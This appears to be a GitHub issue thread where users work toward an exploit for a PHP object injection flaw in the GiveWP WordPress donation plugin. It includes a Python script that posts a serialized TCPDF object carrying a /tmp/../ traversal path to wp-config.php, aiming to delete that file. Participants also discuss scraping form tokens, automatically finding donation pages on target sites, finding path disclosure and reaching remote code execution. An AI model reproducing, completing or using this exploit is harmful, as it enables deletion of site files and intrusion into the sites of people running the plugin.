Open lehatomilov83 opened 2 months ago
Do you have a running version of the script? i got some issues on how to verify if the exploit was successful or not
this is my script. but it is for my test site. therefore, the ideal script should automatically receive the values of give-form-id, give-form-id-prefix and give-form-hash. my script works halfway: it reaches the moment when the php object is written to the meta value in the database. but I do not have a working php object to delete file on site or rce. and yes, there should be 2 requests: first to /wp-admin/admin-ajax.php and the second request with almost the same parameters (without two parameters) to /give/donation-form/?payment-mode=manual&form-id=* and this line can be obtained from give-form-url. and the most important thing for an automatic script: you need to find the donation form on the site
the payload for deleting a file must start with /tmp/ otherwise it will not pass validation in the TCPDF class, so the path must be absolute and not relative. this is also not very convenient, you need to find a site path disclosure
isn't there a way to craft a payload which generates a result for testing the exploit without having path disclosure? like a pingback or a file read or something?
I didn't find it in this plugin. The path disclosure is in the wp-includes/rss.php file, but only if error output is enabled in PHP. I couldn't create a payload for RCE, there are a lot of nested classes there.
on which page in your env did you find give-form-id, give-form-id-prefix and give-form-hash?
i mean whats the difference here? 'give-current-url': 'https://xxx.com/donations/donation-form/', 'give-form-url': 'https://xxx.com/give/donation-form/',
the donation page address will be different on different sites. it needs to be found. i don't know how to do it automatically yet. the give-current-url and give-form-url values are in the source code on the donation page. i don't know what the difference is, i just took this data and sent it
'give-form-id-prefix': 'give-form-id': 'give-form-title': 'give-current-url': 'give-form-url': 'give-form-minimum': 'give-form-maximum': 'give-form-hash':
all this data needs to be taken from the donation form on the donation page, they do not need to be generated, they need to be obtained from the page. for example, you can go to any site with this plugin, find the donation page and see all these values in the source code
anyway, i couldn't finish the exploit like wordfence did. i managed to send the payload to the site, but my exploit doesn't work until the end because you need to write the payload
yes check main branch i made some updates. but issue with payload
I think for a working exploit you need to do the following steps:
and 0 - write payload )))
import requests import random import string import base64
def generate_random_string(length=8): """Generate a random string of letters with the specified length.""" return ''.join(random.choice(string.asciilowercase) for in range(length))
Generate unique values for each request
first_name = generate_random_string() last_name = generate_random_string() email_prefix = generate_random_string() print first_name, last_name, email_prefix
Define the URLs
url1 = 'https://XXX.com/wp-admin/admin-ajax.php' url2 = 'https://XXX.com/give/donation-form/?payment-mode=manual&form-id=1719'
Define the headers
headers = { 'Content-Type': 'application/x-www-form-urlencoded', }
payload_value = 'O:5:"TCPDF":1:{s:9:"imagekeys";a:1:{i:0;s:??:"/tmp/../../../../home/xxx/XXX.com/wp-config.php";}}'
cookies = { 'wp-givesession': '', 'wp-give_session_resetnonce': '1', }
Define the post data for the first URL
data1 = { 'give-honeypot': '', 'give-form-id-prefix': '1719-1', 'give-form-id': '1719', 'give-form-title': '0', 'give-current-url': 'https://XXX.com/donations/donation-form/', 'give-form-url': 'https://XXX.com/give/donation-form/', 'give-form-minimum': '', 'give-form-maximum': '999999.99', 'give-form-hash': 'NONCE', 'give-price-id': '1', 'give-amount': '25', 'give-form-title': '0', 'give_first': first_name, 'give_last': last_name, 'give_email': '{}@test.com'.format(email_prefix), 'payment-mode': 'manual', 'give_action': 'purchase', 'give-gateway': 'manual', 'give_embed_form': '1', 'action': 'give_process_donation', 'give_ajax': 'true', 'give_title': payload_value }
Define the post data for the second URL
data2 = { 'give-honeypot': '', 'give-form-id-prefix': '1719-1', 'give-form-id': '1719', 'give-form-title': '0', 'give-current-url': 'https://XXX.com/donations/donation-form/', 'give-form-url': 'https://XXX.com/give/donation-form/', 'give-form-minimum': '', 'give-form-maximum': '999999.99', 'give-form-hash': 'NONCE', 'give-price-id': '1', 'give-amount': '25', 'give_first': first_name, 'give_last': last_name, 'give_email': '{}@test.com'.format(email_prefix), 'payment-mode': 'manual', 'give_action': 'purchase', 'give-gateway': 'manual', 'give_embed_form': '1', 'give_title': payload_value }
Send the first request
response1 = requests.post(url1, headers=headers, cookies=cookies, data=data1) print('First request status:', response1.status_code, response1.text)
Send the second request
response2 = requests.post(url2, headers=headers, cookies=cookies, data=data2) print('Second request status:', response2.status_code, response2.text)